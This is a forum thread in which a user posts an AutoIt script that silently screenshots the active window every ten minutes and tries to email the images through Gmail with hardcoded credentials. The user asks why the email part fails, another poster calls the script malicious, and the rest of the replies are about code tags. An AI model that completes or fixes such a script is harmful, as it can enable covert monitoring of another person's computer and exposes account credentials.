Jump to content

Recommended Posts

Posted (edited)

Hi, I am trying to send screen shots to my gmail or ftp but the email portion doesn't work. The picture is taken and placed in my temp folder, but nothing happens after that. There are no error messages either. Can anyone see any errors in the script? Gmail account on there was made just for this, so feel free to check, please don't change the pw. Thanks for the help

#Include<file.au3>

#Include<ScreenCapture.au3>

HotKeySet("#{ESC}","Quit")

;##################################

; Variables

;##################################

Global $quality = 50

Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

$s_SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED

$s_FromName = "Test" ; name from who the email was sent

$s_FromAddress = "gTester227@gmail.com"; address from where the mail should come

$s_ToAddress = "gTester227@gmail.com" ; destination address of the email - REQUIRED

$s_Subject = "Test" ; subject from the email - can be anything you want it to be

$as_Body = "This is a test email" ; the messagebody from the mail - can be left blank but then you get a blank mail

$s_AttachFiles = "C:\Windows\Temp\temp.jpg" ; the file you want to attach- leave blank if not needed

$s_CcAddress = "" ; address for cc - leave blank if not needed

$s_BccAddress = "" ; address for bcc - leave blank if not needed

$s_Username = "gTester227" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail)

$s_Password = "gTester22" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail)

;$IPPort = 25 ; port used for sending the mail

;$ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS

$IPPort=465 ; GMAIL port used for sending the mail

$ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

;##############################################################

; Screen Capture Script

;##############################################################

While 1

Sleep(600000)

$filename = "C:\Windows\Temp\temp.jpg"

_ScreenCapture_SetJPGQuality($quality)

$activewin = WinGetTitle("")

$activewin = WinGetHandle($activewin)

_ScreenCapture_CaptureWnd($filename,$activewin)

WEnd

;##################################

; Email Script

;##################################

Global $oMyRet[2]

Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)

If @error Then

MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc)

EndIf

;

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)

$objEmail = ObjCreate("CDO.Message")

$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'

$objEmail.To = $s_ToAddress

Local $i_Error = 0

Local $i_Error_desciption = ""

If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress

If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress

$objEmail.Subject = $s_Subject

If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then

$objEmail.HTMLBody = $as_Body

Else

$objEmail.Textbody = $as_Body & @CRLF

EndIf

If $s_AttachFiles <> "" Then

Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")

For $x = 1 To $S_Files2Attach[0]

$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])

If FileExists($S_Files2Attach[$x]) Then

$objEmail.AddAttachment ($S_Files2Attach[$x])

Else

$i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]

SetError(1)

return 0

EndIf

Next

EndIf

$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2

$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer

$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort

;Authenticated SMTP

If $s_Username <> "" Then

$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1

$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username

$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password

EndIf

If $Ssl Then

$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True

EndIf

;Update settings

$objEmail.Configuration.Fields.Update

; Sent the Message

$objEmail.Send

if @error then

SetError(2)

return $oMyRet[1]

EndIf

EndFunc;==>_INetSmtpMailCom

;

;

; Com Error Handler

Func MyErrFunc()

$HexNumber = Hex($oMyError.number, 8)

$oMyRet[0] = $HexNumber

$oMyRet[1] = StringStripWS($oMyError.description,3)

ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)

SetError(1); something to check for when this function returns

Return

EndFunc;==>MyErrFunc

Func Quit()

Exit

EndFunc ;==>Quit

Edited by tim08
Posted

looks malicious

edit:

and use code tags?

nope its for my own pc... code tags are from other scripts on this forum I just pieced them together.

Posted (edited)

He's new, cut him a break. What SoulA means is when posting code on the forum it is best practice to "wrap it" with the code tags.

Use [ code] and [ /code] (minus the spaces). Try hitting the edit button on your post and putting the tags in. :mellow:

Func _GetHelp($question=0)
     If Not $question Then Return 0
     Return $answer
EndFunc
Edited by spudw2k
Posted (edited)

He's new, cut him a break. What SoulA means is when posting code on the forum it is best practice to "wrap it" with the code tags.

Use [ code] and [ /code] (minus the spaces). Try hitting the edit button on your post and putting the tags in. :mellow:

Func _GetHelp($question=0)
     If Not $question Then Return 0
     Return $answer
EndFunc
Thanks Spudw2k, and thanks for the clarification. I will edit my first post (too late). Here we go:

#Include<file.au3>
#Include<ScreenCapture.au3>
HotKeySet("#{ESC}","Quit")

;##################################
; Variables
;##################################

Global $quality = 50
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

$s_SmtpServer = "smtp.gmail.com"; address for the smtp-server to use - REQUIRED
$s_FromName = "Test"; name from who the email was sent
$s_FromAddress = "gTester227@gmail.com"; address from where the mail should come
$s_ToAddress = "gTester227@gmail.com"; destination address of the email - REQUIRED
$s_Subject = "Test"; subject from the email - can be anything you want it to be
$as_Body = "This is a test email"; the messagebody from the mail - can be left blank but then you get a blank mail
$s_AttachFiles = "C:\Windows\Temp\temp.jpg"; the file you want to attach- leave blank if not needed
$s_CcAddress = ""; address for cc - leave blank if not needed
$s_BccAddress = ""; address for bcc - leave blank if not needed
$s_Username = "gTester227"; username for the account used from where the mail gets sent - Optional (Needed for eg GMail)
$s_Password = "gTester22"; password for the account used from where the mail gets sent - Optional (Needed for eg GMail)
;$IPPort = 25; port used for sending the mail
;$ssl = 0; enables/disables secure socket layer sending - put to 1 if using httpS
$IPPort=465; GMAIL port used for sending the mail
$ssl=1; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

;##############################################################
; Screen Capture Script
;##############################################################
While 1
Sleep(600000)
$filename = "C:\Windows\Temp\temp.jpg"
_ScreenCapture_SetJPGQuality($quality)
$activewin = WinGetTitle("")
$activewin = WinGetHandle($activewin)
_ScreenCapture_CaptureWnd($filename,$activewin)

WEnd



;##################################
; Email Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
If @error Then
MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc)
EndIf
;

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
$objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment ($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
SetError(1)
return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $Ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Sent the Message
$objEmail.Send
if @error then
SetError(2)
return $oMyRet[1]
EndIf
EndFunc;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description,3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc;==>MyErrFunc

Func Quit()
Exit
EndFunc;==>Quit
Edited by tim08

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...